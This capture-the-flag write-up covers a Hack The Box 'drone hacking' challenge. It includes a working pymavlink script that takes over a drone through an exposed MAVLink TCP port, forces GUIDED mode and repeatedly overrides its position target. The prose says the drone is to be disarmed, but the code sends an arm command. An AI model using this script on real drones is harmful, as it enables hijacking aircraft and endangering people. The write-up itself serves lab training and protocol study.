Sky Recon: Drone Hacking
Platform: HTB Global Cyber Skills Benchmark CTF 2025: Operation Blackout
Category/Tags: Hardware
Difficulty: Medium
Challenge Description
Volnayan operatives have deployed a surveillance drone using the MAVLink protocol within our territory. It’s actively transmitting intel back to enemy command. Your objective: intercept the signal and seize control of the drone before it leaks critical information about our defense assets and covert operations.
Information Gathering
In this challenge, we are given a file—referred to as the 'Intelligence Briefing'—which contains several key aspects to consider when intercepting the drone.
Objective: Your mission is to intercept an enemy drone deployed by Volnayan operatives. With assistance from Task Force Phoenix's intel team—who have established a temporary forward operating base nearby—you must take control of the drone mid-flight and redirect it to the intel team’s secure landing zone before it completes its reconnaissance sweep. Satellite imaging and live telemetry feeds will support your efforts.
Telemetry Stream: Live telemetry is being intercepted from the drone's MAVLink uplink.
Electronic Warfare Support: To assist your mission, the intel-team has initiated localized RF jamming around the temporary base at (-35.36276,149.165771). This will:
Disrupt communications with the Volnayan ground control station (GCS)
Prevent remote overrides or failsafe return-to-launch
Jamming Zone
We also have the telemetry link (which contains gibberish outputs) and the monitoring link.

As you can see, it follows a hexagon-shaped movement pattern and is armed
Before we can intercept the drone's functionality, we need to understand what MAVLink is and how it has transformed modern drones..
From that excerpt, it seems possible to intercept the drone using the MAVLink protocol. But how can we transmit messages to the drone?
The machine has an open telemetry port that can be exploited by sending streams of position data (e.g., latitude, longitude, and altitude). According to intelligence reports, this drone uses the Transmission Control Protocol (TCP).
Our goal is to instruct the drone to fly to the Jamming Zone at coordinates (-35.36276, 149.165771), remain there, and never return to its current position. Additionally, the drone must remain disarmed.
Exploit
We will be using pymavlink throughout this script. It is designed to work with the MAVLink interface and provides useful utilities for interacting with it.
In this part we need to connect to the telemetry link, set the latitude, longitude, and altitude coordinates, and define the interval for sending these coordinate commands. As confirmed earlier, the messages will be transmitted using TCP.
from pymavlink import mavutil
import time
import threading
# === CONFIGURATION ===
TARGET_IP = <TELEMETRY_IP>
TARGET_PORT = <TELEMETRY_PORT>
REDIRECT_LAT = -35.36276
REDIRECT_LON = 149.165771
REDIRECT_ALT = 0 # in meters
SEND_INTERVAL = 1 # seconds between redirect commands
# === CONNECT TO DRONE ===
print("[*] Connecting to MAVLink stream...")
master = mavutil.mavlink_connection(f'tcp:{TARGET_IP}:{TARGET_PORT}')
The heartbeat message confirms that we are connected to the drone and that it is responding correctly. Setting the mode to GUIDED
allows us to take control mid-flight, enabling us to send commands and bypass pre-programmed flight plans. We also need to disarm the drone using the MAV_CMD_COMPONENT_ARM_DISARM
command.
# Wait for heartbeat before sending commands
print("[*] Waiting for heartbeat...")
master.wait_heartbeat()
print(f"[+] Heartbeat received (System {master.target_system}, Component {master.target_component})")
# === SET GUIDED MODE ===
print("[*] Setting mode to GUIDED...")
master.set_mode_apm('GUIDED')
# === ARM DRONE ===
print("[*] Arming drone...")
master.mav.command_long_send(
master.target_system, master.target_component,
mavutil.mavlink.MAV_CMD_COMPONENT_ARM_DISARM,
0, 1, 0, 0, 0, 0, 0, 0
)
time.sleep(2)
Heartbeat monitoring runs in the background, it periodically checks the connection to determine whether the drone is still responsive or has gone offline. Next is the loop function, which continuously sends commands to fly to specific coordinates at a designated altitude.
It uses
SET_POSITION_TARGET_GLOBAL_INT
to send a GPS target.It sets a bitmask (
0b110111111000
) that enables position control (lat/lon/alt) but disables velocity/yaw/acceleration.It sends the message every
SEND_INTERVAL
seconds (e.g. 2s) to override any other commands or failsafes that might try to redirect the drone, because as I said earlier, we need to prevent the drone to get back to its old position.
# === Background: Maintain heartbeat monitoring ===
def heartbeat_monitor():
while True:
msg = master.recv_match(type='HEARTBEAT', blocking=True, timeout=5)
if msg:
print(f"[~] Heartbeat from system {msg.get_srcSystem()}")
else:
print("[!] Lost heartbeat!")
break
threading.Thread(target=heartbeat_monitor, daemon=True).start()
# === Loop: Constantly redirect to secure LZ ===
print(f"[*] Starting continuous redirect to ({REDIRECT_LAT}, {REDIRECT_LON}, {REDIRECT_ALT}m)...")
try:
while True:
master.mav.set_position_target_global_int_send(
0,
master.target_system,
master.target_component,
mavutil.mavlink.MAV_FRAME_GLOBAL_RELATIVE_ALT_INT,
int(0b110111111000),
int(REDIRECT_LAT * 1e7),
int(REDIRECT_LON * 1e7),
REDIRECT_ALT,
0, 0, 0,
0, 0, 0,
0, 0
)
print("[+] Redirect command sent.")
time.sleep(SEND_INTERVAL)
except KeyboardInterrupt:
print("\n[!] Interrupt received, exiting.")
MAV Commands mentioned (From mavlink.io):
HEARTBEAT
- shows that a system or component is present and respondingMAV_CMD_NAV_GUIDED_ENABLE
- hand control over to an external controllerMAV_CMD_COMPONENT_ARM_DISARM
- Arms / Disarms a componentSET_POSITION_TARGET_GLOBAL_INT
- Sets a desired vehicle position, velocity, and/or acceleration in a global coordinate system (WGS84). Used by an external controller to command the vehicle (manual controller or other system).MAV_FRAME_GLOBAL_RELATIVE_ALT_INT
(deprecated) - Global (WGS84) coordinate frame (scaled) + altitude relative to the home position.
Now we can run the Python script using the following command,
python3 exploit.py
Wait a few minutes, as the process may take some time until the drone is disarmed and lands in the Jamming Zone. You can watch the full video showing the entire process—from the drone's initial hexagon-shaped movement to its arrival at the temporary base.
Last updated